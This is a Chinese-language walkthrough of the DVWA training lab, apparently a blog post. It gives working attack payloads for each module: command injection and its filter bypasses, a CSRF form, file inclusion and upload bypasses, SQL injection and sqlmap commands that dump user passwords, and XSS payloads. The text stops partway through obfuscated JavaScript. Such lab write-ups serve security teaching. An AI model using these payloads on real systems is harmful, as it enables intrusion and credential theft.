dvwa靶场通关

dvwa靶场通关

Brute Force

low

image-20250922143928576

我们随便输入用户名和密码 然后bp抓包

image-20250922144058027

然后发到intruder中进行爆破

image-20250922144218282

然后设置payload

image-20250922144251733

image-20250922144311155

这样就设置好了 然后我们点击attack开始攻击

image-20250922144623392

爆破成功

medium

Medium步骤和low等级完全一样

我们查看源码后发现多了个 sleep函数 每次输入错误后得等2s

问题不大 我们依然可以爆破出来

image-20250922144944458

high

这关加了token验证 我们需要找到每个密码对应的token值

所以我们先抓包 发到爆破器中 选择音叉攻击(pitchfork) 攻击点选择password 和 token处

image-20250922150036699

image-20250922150101548

第二个爆破点选择递归

第一个是password

image-20250922150150642

找到grep-extract模块 添加

image-20250922150504785

image-20250922150532381

设置线程为1

image-20250922150608646

然后开始爆破

image-20250922150641506

这样就爆破成功了

Command Injection(命令执行)

RCE(Remote Code Execution),中文常译为远程代码执行漏洞。简单来说,它指的是攻击者能够通过网络,在远程的目标系统(例如服务器、计算机或嵌入式设备)上执行任意命令或代码的安全缺陷
。
RCE漏洞的核心危害在于它打破了设备的“本地执行权限壁垒”。攻击者通常无需获取目标的账号密码等常规权限,即可利用漏洞注入并执行恶意代码,从而直接控制目标设备

low

image-20250922151146840

这关没有做任何的过滤 所以我们可以拼接命令

payload

127.0.0.1 && whoami

image-20250922151245517

说一下&&等符号的使用

Windows系统:
|:只执行后面的语句。
||:如果前面的语句执行失败,则执行后面的语句。
&:两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
&&:如果前面的语句为假,则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。
Linux系统:
;:执行完前面的语句再执行后面的语句,当有一条命令执行失败时,不会影响其它语句的执行。
|(管道符):只执行后面的语句。
||(逻辑或):只有前面的语句执行出错时,执行后面的语句。
&(后台任务符):两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
&&(逻辑与):如果前面的语句为假则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。
``(命令替换):当一个命令被解析时,它首先会执行反引号之间的操作。例 echo whoami

medium

这关查看源代码 发现&& 被禁用了 我们可以用单个&

image-20250922151436000

high

image-20250922151611192

这关禁用了很多关键字

但我们可以用管道符绕过 注意看管道符|是加了空格的 我们不加空格就可以绕过了

image-20250922151722328

CSRF

理解 XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)的区别对Web安全至关重要。

特征XSS (跨站脚本攻击)CSRF (跨站请求伪造)
攻击原理向网站注入恶意脚本,在用户浏览器执行伪造用户请求,利用用户的登录状态冒充用户操作
攻击目标主要攻击用户,窃取其敏感信息或操控其会话主要攻击网站,以用户身份执行非授权操作
依赖条件网站存在输入点,未对用户输入充分过滤或转义用户已登录目标网站且会话未失效
数据流向恶意代码从攻击者到服务器,再由服务器返回给其他用户(通常涉及服务器)恶意请求直接从用户的浏览器发往目标服务器(不经过攻击者的服务器)
攻击方式通常需要用户访问已注入恶意代码的特定页面诱使用户在已登录目标站点的情况下,访问恶意页面或点击恶意链接
防御核心不信任用户输入:对输入过滤、输出编码、使用CSP验证请求来源与合法性:使用CSRF Token、校验Referer、设置SameSite Cookie

low

image-20250922151824800

我们提交新的密码 然后bp抓包

image-20250922152115417

image-20250922152302900

我们先把密码改成其他的 123456

我们打开网站后会发现 密码已经被更改

image-20250922152435864

medium

Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名)

我们在自己的服务器上写一个脚本

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://dvwa:8898/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="12345" />
      <input type="hidden" name="password&#95;conf" value="12345" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

将名字改为自己的ip地址 这样解析的时候host就成为了本地的

image-20250922154042300

image-20250922154117229

image-20250922154131836

密码被成功更改了

high

High级别的代码增加了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端请求。

我们获取当前网页的cookie值

image-20250922155823263

PHPSESSID=v7a5dfajltt06vcictkclbnrs9; security=high;

然后抓包

image-20250922160530050

File Inclusion(文件包含)

File Inclusion(文件包含),是指当服务器开启了allow_url_include选项时,通过一些PHP的特性函数(比如:include(),require(),include_once()和require_once())利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

文件包含分类
本地文件包含:当被包含的文件在本地服务器时,就叫做本地文件包含

例:../../../../../etc/passwd

远程文件包含:当被包含的文件在第三方服务器时,就叫做远程文件包含

例:http://www.baidu.com 可以直接打开百度

low

image-20250922160738029

我们可以更改这里的值 去访问服务器上的文件

也可以写成url 让他去访问互联网的资源

image-20250922160836200

image-20250922160951165

也可以尝试本地包含

medium

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
//将参数中的http:// https:// ../ ..\都替换成空
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

观察源码 把…/ 和 http:// 过滤了 我们可以双写区绕过

payload

htthttp://p://www.baidu.com
..././..././phpinfo.php

image-20250922161253573

image-20250922161310276

high

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
//文件名必须以file开始,或只能为include.php
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

我们可以用伪协议 file:// 访问本地的文件

payload

file://D:/phpstudy_pro/WWW/1.txt

image-20250922161615010

我在www目录下写了一个txt

File Upload(文件上传)

low

这关没有任何的过滤

我们可以随便上传文件

image-20250922161902630

也可以找到文件上传的地址

medium

image-20250922161946747

这关只允许上传png jpeg等格式

我们先写一个脚本 然后改成 png格式 然后 bp抓包

image-20250922162143406

image-20250922162158376

high

这关检查png的头部 我们可以将 脚本写在图片中 使用 copy命令

copy /b 图片.png+脚本.php 图片2.png

然后我们上传

注意文件大小 不能太大 有限制

image-20250922164202131

我们可以利用之前文件包含漏洞去访问这个文件

http://dvwa:8898/vulnerabilities/fi/?page=file://D:/phpstudy_pro/WWW/DVWA/hackable/uploads/

Vulnerability:CAPTCHA(不安全的验证码)

Insecure CAPTCHA(不安全的验证码),CAPTCHA全称为Completely Automated Public Turing Test to Tell Computers and Humans Apart,中文名字是全自动区分计算机和人类的图灵测试。关于这一项,其实是在验证流程出现了逻辑漏洞。

用户首先访问网页,触发页面的验证码的js模块,向谷歌服务器发起请求,谷歌服务器将验证码发给用户。用户输入验证码发送数据回去,这里发给的是访问网站的服务器,网站的服务器拿到验证码后,再去访问谷歌的服务器,谷歌的服务器会判断验证码是否正确,再将结果返回给网站服务器。

low

<?php

//第一阶段,验证身份,验证阶段为step
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
//隐藏验证码表单
    $hide_form = true;

    // Get input
//得到用户的新密码及确认新密码
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
//使用第三方进行身份验证
//recaptcha_check_answer($privkey,$remoteip, $challenge,$response)
参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge是recaptcha_challenge_field字段的值,来自前端页面 ,$response是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性 :
$is_valid是布尔型的,表示校验是否有效,
$error是返回的错误代码。
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key'],
        $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
//验证失败时
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
//验证通过时,匹配两次密码是否一致
        if( $pass_new == $pass_conf ) {
            // Show next stage for the user
            echo "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
        }
        else {
            // Both new passwords do not match.
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }
}

//第二阶段,检查两次密码是否一致,并更新密码
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the end user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with the passwords matching
        echo "<pre>Passwords did not match.</pre>";
        $hide_form = false;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

查看源码

第一阶段:对用户的身份进行验证,step为1,验证成功后才能进行密码修改

第二阶段:step为2,两次输入的密码一致,可以进行修改

我们随便修改 然后抓包

image-20250922165629806

我们放包

image-20250922165742525

发现密码被更改了

medium

查看源码是多了一个验证机制

passed_capt,当passed_capt为true时就可以修改密码了

我们继续抓包 在后面补上这条就ok了

image-20250922171527638

真难解析啊 卡的要怀疑人生了

image-20250922171558046

high

验证过程已经不分步走了,都合在一个阶段里面了

服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数recaptcha_response_field不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。

bz这里有点懵 不是很会 跳过这关吧

SQL Injection(sql注入)

low

get方式传参

输入1’ 后发现 报错 字符型注入

1' order by 2 #

判断列数

image-20250922173039157

输入3 时报错 说明此时 有 两列 接下来 联合注入 查数据库名

1' union select 1,database() #
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #   //查表
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' # //查字段
1' union select group_concat(user),group_concat(password) from users #  //查数据

image-20250922174709083

medium

post方式传参 和上一关步骤不变

这关还用了转义 我们需要 hex 编码一下 将查列 用到的 ‘users’ 转化为0x27757365727327

image-20250922174907962

最终payload

1 union select group_concat(user),group_concat(password) from users #

image-20250922174946957

high

和low的没什么区别 在弹出来的页面里做注入

payload

1' union select group_concat(user),group_concat(password) from users #

image-20250922190927660

SQL Injection(blind)

盲注 页面上不会显示注入信息

low

说一下思路

用substr()函数 和ascii 去判断 数据库,表,列 的名字

先用length()判断数据库长度

image-20250922191621576

image-20250922191636974

说明数据库的长度是4

payload

//二分法
1' and (select ascii(substr(database(),1,1)) = 111) #

可以发到bp中爆破 太麻烦 我们使用 sqlmap

需要登陆 我们前面抓到cookie信息派上用场

payload

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=65rgtvir8b6i0icvkn1u17pj72; security=low" --batch --technique=B --dbs

–technique=B 使用 布尔盲注 --dbs 查看数据库名

image-20250922193209580

查表名

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=65rgtvir8b6i0icvkn1u17pj72; security=low" --batch --technique=B -D "dvwa" --tables

image-20250922193251140

查列名

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=65rgtvir8b6i0icvkn1u17pj72; security=low" --batch --technique=B -D "dvwa" -T "users" --columns

image-20250922193347572

提取数据

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=65rgtvir8b6i0icvkn1u17pj72; security=low" --batch --technique=B -D "dvwa" -T "users" -C "password" --dump

image-20250922193425518

这样就出来了

medium

这关的提交方式变成了post方式 我们用bp抓包

image-20250922193549822

我们复制页面信息 打开sqlmap的根目录 创建txt文件 在id=1处打* 让sqlmap去跑

image-20250922193704277

image-20250922194020020

python sqlmap.py -r 1.txt --batch --technique=B --dbs

-r 读取文件

剩下的步骤和上面一样了 我们给出最终的payload

python sqlmap.py -r 1.txt --batch --technique=B --dbs -D "dvwa" -T "users" -C "password" --dump

image-20250922194152171

high

由于这里输入时一个url,响应是另一个URL

所以我们使用sqlmap时 添加参数 -second-url=

image-20250922194509172

–data 我们post穿参的参数

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=65rgtvir8b6i0icvkn1u17pj72" --batch --technique=B --dbs

image-20250922195120994

数据库名

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=65rgtvir8b6i0icvkn1u17pj72" --batch --technique=B --dbs -D "dvwa" --tables

image-20250922195128559

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=65rgtvir8b6i0icvkn1u17pj72" --batch --technique=B --dbs -D "dvwa" -T "users" --columns

数据

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=65rgtvir8b6i0icvkn1u17pj72" --batch --technique=B --dbs -D "dvwa" -T "users" -C "password" --dump

Weak Session IDs(脆弱会话管理)

用户访问服务器的时候,一般服务器都会分配一个身份证 session id 给用户,用于标识。用户拿到 session id 后就会保存到 cookies 上,之后只要拿着 cookies 再访问服务器,服务器就知道你是谁了。

但是 session id 过于简单就会容易被人伪造。根本都不需要知道用户的密码就能访问,用户服务器的内容了。

low

如果用户 SESSION 中的 last_session_id 不存在就设为 0,生成 cookie 时就在 cookies 上 dvwaSessionId + 1。直接点击Generate按钮,使用BP抓包

image-20250922195612881

我们把cookie复制下来 清除一下网页的cookie

dvwaSession=2; security=low; PHPSESSID=65rgtvir8b6i0icvkn1u17pj72

再次打开的时候抓包 输入cookie 可以发现 不用登陆

image-20250922195811720

image-20250922195820627

image-20250922200151520

medium

多了个时间戳

https://tool.lu/timestamp/

image-20250922200330324

和low一样

high

这个值被md5加密了

解密就可以了 步骤和上面一样

XSS(DOM)

XSS(跨站脚本攻击)确实是 Web 安全领域一个非常重要且常见的漏洞。它允许攻击者将恶意脚本注入到网页中,并在用户浏览时执行,从而带来一系列危害。下面我会为你梳理 XSS 漏洞的几种主要类型、它们的区别,以及一些防御思路。

为了让你能快速把握全貌,先通过一个表格了解三种主要 XSS 类型的核心区别:

特征维度反射型 XSS (Reflected XSS)存储型 XSS (Stored XSS)DOM 型 XSS (DOM-based XSS)
存储位置与持久性不存储在服务器上,非持久性恶意脚本永久存储在服务器(如数据库、文件)中,持久性强恶意脚本不经过服务器处理,完全在客户端完成,非持久性
触发方式依赖用户点击特制的恶意链接(常通过钓鱼邮件、短信诱导)用户访问已存储恶意脚本的页面(如评论区、留言板)时自动触发用户访问包含漏洞的页面,前端 JS 操作 DOM 时触发
数据交互恶意脚本通常通过 URL 参数传递,并由服务器“反射”到响应中恶意脚本通过用户输入点(如表单)提交并存储在服务器端恶意脚本通过前端的 JS 代码读取并操作 DOM 来执行,不经过服务器
影响范围一次性,通常针对点击链接的特定用户影响广泛,所有访问包含恶意内容页面的用户都可能受害一次性,依赖用户访问特定的漏洞页面或携带恶意片段的 URL
常见场景搜索框、错误信息页面、登录框等将输入直接返回的功能点论坛评论、用户留言、博客日志、可存储用户输入并展示的区域大量依赖 前端 JavaScript 动态生成内容 的页面或单页面应用 (SPA)

🛡️ 防御 XSS 的通用思路

无论面对哪种类型的 XSS,核心原则都是:永远不要信任用户输入。以下是一些关键的防御措施:

  1. 输入验证与过滤:对所有用户输入进行严格的校验,采用白名单原则只允许安全的字符和格式,或使用黑名单过滤掉明确的危险字符和标签(如 <script>, onerror等)。对于富文本内容,可使用专业的库(如 DOMPurify)进行净化。
  2. 输出编码:在将数据输出到不同上下文(HTML、JavaScript、URL、CSS)时,进行相应的转义或编码。例如,输出到 HTML 时,将 <转义为 <,将 >转义为 >
  3. 使用安全的 API:在前端操作 DOM 时,优先使用 textContent而非 innerHTML,以避免意外地将字符串解析为 HTML。避免使用 eval(), setTimeout(string), setInterval(string)等可以执行字符串形式代码的危险方法。
  4. 内容安全策略 (CSP):通过配置 CSP HTTP 头,可以有效地告诉浏览器只允许加载指定来源的脚本,大幅增加攻击者注入恶意脚本的难度。例如,Content-Security-Policy: script-src 'self'可以限制只加载同源脚本。
  5. 设置 HttpOnly Cookie:为敏感的 Cookie 标记 HttpOnly属性,这样可以防止其被 JavaScript 读取,从而降低会话被盗用的风险。

low

image-20250922200841637

我们直接注入

image-20250922200856700

payload

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English<script>alert(1)</script>

medium

image-20250922201019391

查看源码 把这两个标签给闭合掉

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English</option></select><img src=x onerror=alert(1)> 

image-20250922201217704

哦对了 这关还把 < script>过滤掉了 我们用其他的事件触发

high

这里设置了白名单,如果default的值不为”French”、”English”、”German”、”Spanish”的话就重置URL为:?default=English ,这里只是对 default 的变量进行了过滤。

可以考虑在English后面使用&或者#

payload

English&<script>alert(1)</script>

image-20250922201418041

XSS(Reflected)

low

image-20250922201534395

直接写入payload

<script>alert(1)</script>

medium

过滤了< script>标签 我们试试双写能否绕过

<scr<script>ipt>alert(1)</script>

image-20250922201927562

可以绕过 我们再试试大小写 绕过

因为html在解析时是不看大小写的

<scRipt>alert(1)</scRipt>

image-20250922202035623

也可以

image-20250922202116593

用其他的事件也可以触发

<img src=x onerror=alert(1)>

high

preg_replace() 函数执行一个正则表达式的搜索和替换,“*” 代表一个或多个任意字符,“i” 代表不区分大小写。也就是说 “< script >” 标签在这里被完全过滤了,但是我们可以通过其他的标签例如 img、body 等标签的事件或者iframe 等标签的 src 注入 JS 攻击脚本。

payload

<img src=x onerror=alert(1)>

就是这个

image-20250922202241604

XSS(Stored)

low

image-20250922202355569

payload

<button onclick=alert(1)>这是一个小按钮啊</button>

存储型xss就是将js的恶意代码存储到数据库里 其他用户再点击了恶意代码之后产生的

image-20250922202513251

medium

image-20250922202543465

将上面的payload写进去发现按钮没了

image-20250922202631089

同时也过滤了script标签 我们在name处注入 调整下最大字符限制

image-20250922203113176

试一试双写

payload

<scri<script>pt>alert(1)</script>

发现可以了

image-20250922203030766

high

用事件型

image-20250922203228940

同样记得修改字符长度

payload

<img src=x onerror=alert(1)>

CSP(Content Security Policy)内容安全策略

开发者在开发过程中设置了一个类似于白名单的策略,要信任某个页面,哪些外部资源可以执行,哪些不可以,这可以从根本上防御XSS,如果CSP配置的好,可以从根本上杜绝XSS

low

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;";

通过源码可以知道

下面的资源是可以访问的

https://pastebin.com
hastebin.com
example.com
code.jquery.com
https://ssl.google-analytics.com

我们进入第一个网站

image-20250922203850539

写一个js代码

image-20250922203903388

image-20250922204333822

image-20250922204317982

把网站复制到dvwa中

image-20250922204421398

medium

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
//unsafe-inline:当csp有Unsafe-inline时, 并且受限于csp无法直接引入外部js, 不过当frame-src为self, 或者能引入当前域的资源的时候, 即有一定可能能够引入外部js。

nonce-source,仅允许特定的内联脚本块。如源码中:nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='

payload

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

image-20250922204624399

high

function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}

观察源码

src指向的source/jsonp.php?callback=solveNum未做任何XSS的过滤,因此可以构造payload:

image-20250922205316266

image-20250922205504950

JavaScript

JavaScript 攻击是一类通过利用 JavaScript 代码执行漏洞或滥用其特性来进行的网络攻击。这些攻击可以用来窃取敏感信息、劫持用户会话、执行恶意操作等。

low

观察源码 token 值一直是与 ChangeMe 关联的

所以需要手动重新调用下 token 来更新(输入 success 后)

image-20250922210200685

运行完之后再次提交 “success”,这次提醒我们注入成功了。

image-20250922210233086

medium

还是一样的,直接提交不行

image-20250922210533947

这里是倒过来的

我们试着重新拼写

token=XXsseccusXX&phrase=success&send=Submit

image-20250922211727527

high

至少有一个 JavaScript 混淆了,你需要逐步检查代码,找出什么是有用的,什么是无用的,什么是完成任务所需的。

源码

var a = ['fromCharCode', 'toString', 'replace', 'BeJ', '\x5cw+', 'Lyg', 'SuR', '(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K=[3A,3B,3F,3E,3D,3C,3T,3U,4d,4c,4b,49,4a,4e,4f,4j,4i,4h,3u,48,47,3Z,3Y,3X,3V,3W,40,41,46,45,43,42,4k,3f,38,36,39,37,34,33,2Y,31,2Z,35,3t,3n,3m,3l,3o,3p,3s,3r,3q,3k,3j,3d,3a,3c,3b,3e,3h,3g,3i,4g];q\x201E=[\x271e\x27,\x2727\x27,\x271G\x27,\x272R\x27];q\x20l=[];p(Y.2S||!1z.1K){1z.1K=w(1x){A\x204C.Q.2U.1I(1x)===\x27[1n\x201z]\x27}}p(1y&&(Y.50||!Z.1N)){Z.1N=w(1x){A\x201c\x201x===\x271n\x27&&1x.1w&&1x.1w.1J===Z}}q\x202m=w(1X,x){A\x20w(s){A\x20O\x20N(x,1d).S(s)[1X]()}};q\x202a=w(x){q\x20P=2m(\x271e\x27,x);p(2o){P=2P(P,x)}P.1T=w(){A\x20O\x20N(x)};P.S=w(s){A\x20P.1T().S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2m(T,x)}A\x20P};q\x202P=w(P,x){q\x201S=2O(\x222N(\x271S\x27)\x22);q\x201Y=2O(\x222N(\x271w\x27).1Y\x22);q\x202n=x?\x271H\x27:\x271q\x27;q\x202z=w(s){p(1c\x20s===\x272p\x27){A\x201S.2x(2n).S(s,\x274S\x27).1G(\x271e\x27)}z{p(s===2q||s===2T){1u\x20O\x201t(1l)}z\x20p(s.1J===Z){s=O\x202r(s)}}p(1z.1K(s)||Z.1N(s)||s.1J===1Y){A\x201S.2x(2n).S(O\x201Y(s)).1G(\x271e\x27)}z{A\x20P(s)}};A\x202z};q\x202k=w(1X,x){A\x20w(G,s){A\x20O\x201P(G,x,1d).S(s)[1X]()}};q\x202f=w(x){q\x20P=2k(\x271e\x27,x);P.1T=w(G){A\x20O\x201P(G,x)};P.S=w(G,s){A\x20P.1T(G).S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2k(T,x)}A\x20P};w\x20N(x,1v){p(1v){l[0]=l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0;k.l=l}z{k.l=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}p(x){k.C=4I;k.B=4H;k.E=4l;k.F=4U;k.J=4J;k.I=4K;k.H=4L;k.D=4T}z{k.C=4X;k.B=4W;k.E=4Y;k.F=4Z;k.J=4V;k.I=4O;k.H=4F;k.D=4s}k.1C=k.1A=k.L=k.2i=0;k.1U=k.1L=1O;k.2j=1d;k.x=x}N.Q.S=w(s){p(k.1U){A}q\x202h,T=1c\x20s;p(T!==\x272p\x27){p(T===\x271n\x27){p(s===2q){1u\x20O\x201t(1l)}z\x20p(1y&&s.1J===Z){s=O\x202r(s)}z\x20p(!1z.1K(s)){p(!1y||!Z.1N(s)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}2h=1d}q\x20r,M=0,i,W=s.W,l=k.l;4t(M<W){p(k.1L){k.1L=1O;l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}p(2h){1g(i=k.1A;M<W&&i<1k;++M){l[i>>2]|=s[M]<<U[i++&3]}}z{1g(i=k.1A;M<W&&i<1k;++M){r=s.1Q(M);p(r<R){l[i>>2]|=r<<U[i++&3]}z\x20p(r<2v){l[i>>2]|=(2t|(r>>6))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z\x20p(r<2A||r>=2E){l[i>>2]|=(2D|(r>>12))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z{r=2C+(((r&23)<<10)|(s.1Q(++M)&23));l[i>>2]|=(2X|(r>>18))<<U[i++&3];l[i>>2]|=(R|((r>>12)&V))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}}}k.2u=i;k.L+=i-k.1A;p(i>=1k){k.1C=l[16];k.1A=i-1k;k.1W();k.1L=1d}z{k.1A=i}}p(k.L>4r){k.2i+=k.L/2H<<0;k.L=k.L%2H}A\x20k};N.Q.1s=w(){p(k.1U){A}k.1U=1d;q\x20l=k.l,i=k.2u;l[16]=k.1C;l[i>>2]|=2w[i&3];k.1C=l[16];p(i>=4q){p(!k.1L){k.1W()}l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}l[14]=k.2i<<3|k.L>>>29;l[15]=k.L<<3;k.1W()};N.Q.1W=w(){q\x20a=k.C,b=k.B,c=k.E,d=k.F,e=k.J,f=k.I,g=k.H,h=k.D,l=k.l,j,1a,1b,1j,v,1f,1h,1B,1Z,1V,1D;1g(j=16;j<1k;++j){v=l[j-15];1a=((v>>>7)|(v<<25))^((v>>>18)|(v<<14))^(v>>>3);v=l[j-2];1b=((v>>>17)|(v<<15))^((v>>>19)|(v<<13))^(v>>>10);l[j]=l[j-16]+1a+l[j-7]+1b<<0}1D=b&c;1g(j=0;j<1k;j+=4){p(k.2j){p(k.x){1B=4m;v=l[0]-4n;h=v-4o<<0;d=v+4p<<0}z{1B=4v;v=l[0]-4w;h=v-4G<<0;d=v+4D<<0}k.2j=1O}z{1a=((a>>>2)|(a<<30))^((a>>>13)|(a<<19))^((a>>>22)|(a<<10));1b=((e>>>6)|(e<<26))^((e>>>11)|(e<<21))^((e>>>25)|(e<<7));1B=a&b;1j=1B^(a&c)^1D;1h=(e&f)^(~e&g);v=h+1b+1h+K[j]+l[j];1f=1a+1j;h=d+v<<0;d=v+1f<<0}1a=((d>>>2)|(d<<30))^((d>>>13)|(d<<19))^((d>>>22)|(d<<10));1b=((h>>>6)|(h<<26))^((h>>>11)|(h<<21))^((h>>>25)|(h<<7));1Z=d&a;1j=1Z^(d&b)^1B;1h=(h&e)^(~h&f);v=g+1b+1h+K[j+1]+l[j+1];1f=1a+1j;g=c+v<<0;c=v+1f<<0;1a=((c>>>2)|(c<<30))^((c>>>13)|(c<<19))^